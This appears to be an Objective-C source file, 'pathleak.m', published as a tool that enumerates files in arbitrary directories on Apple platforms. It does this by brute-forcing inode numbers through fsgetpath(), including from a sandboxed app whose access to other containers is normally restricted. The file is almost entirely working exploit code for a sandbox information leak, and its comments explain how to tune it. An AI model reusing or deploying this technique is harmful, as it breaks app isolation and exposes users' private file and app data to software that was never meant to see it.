//
// pathleak.m
// worse_query
//
// Created by Taj C on 9/2/26.
//
/*
pathleak - The dumbest arbitrary path enumeration.
Copyright (C) 2026 Taj C (forcequit)
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*/
#import
#include
#include
// This is just a rewrite of bad_query_list to return an NSString array and run faster
// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol.
// Which is still, obviously, dramatically faster than brute-forcing UUIDs.
// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count.
NSArray *pathleak(NSString *path, uint64_t max_inode) {
// Sanity checks
if (path.length == 0 || max_inode < 1) return nil;
NSString *dir = path;
while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present)
dir = [dir substringToIndex: dir.length - 1];
}
// Set everything up
struct statfs sfs;
if (statfs(dir.fileSystemRepresentation, &sfs) != 0) {
// Sandboxed apps may not be allowed to statfs an arbitrary container
// root, but the volume is the same as /private/var.
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) return nil;
}
fsid_t fsid = sfs.f_fsid;
char prefix[PATH_MAX];
if (![dir getFileSystemRepresentation: prefix maxLength: sizeof(prefix)]) return nil;
size_t prefix_length = strlen(prefix);
if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0;
NSFileManager *files = [NSFileManager defaultManager];
NSMutableArray *result = [NSMutableArray array];
char buffer[PATH_MAX];
// Brute-force inodes to their corresponding paths
// I'd like to make this multithreaded at some point, but I don't think it'll help.
for (uint64_t inode = 1; inode <= max_inode; inode++) {
ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode);
if (n <= 0) continue;
// fsgetpath can return /private/var/... while callers pass /var/...
const char *path = buffer;
if (strncmp(path, "/private/var/", 13) == 0 && strncmp(prefix, "/var/", 5) == 0) {
path += 8;
}
if (strncmp(path, prefix, prefix_length) != 0) continue;
if (path[prefix_length] != '/') continue;
if (strchr(path + prefix_length + 1, '/')) continue;
NSString *string = [files stringWithFileSystemRepresentation: path length: strlen(path)];
if (string) [result addObject: string];
}
return result;
}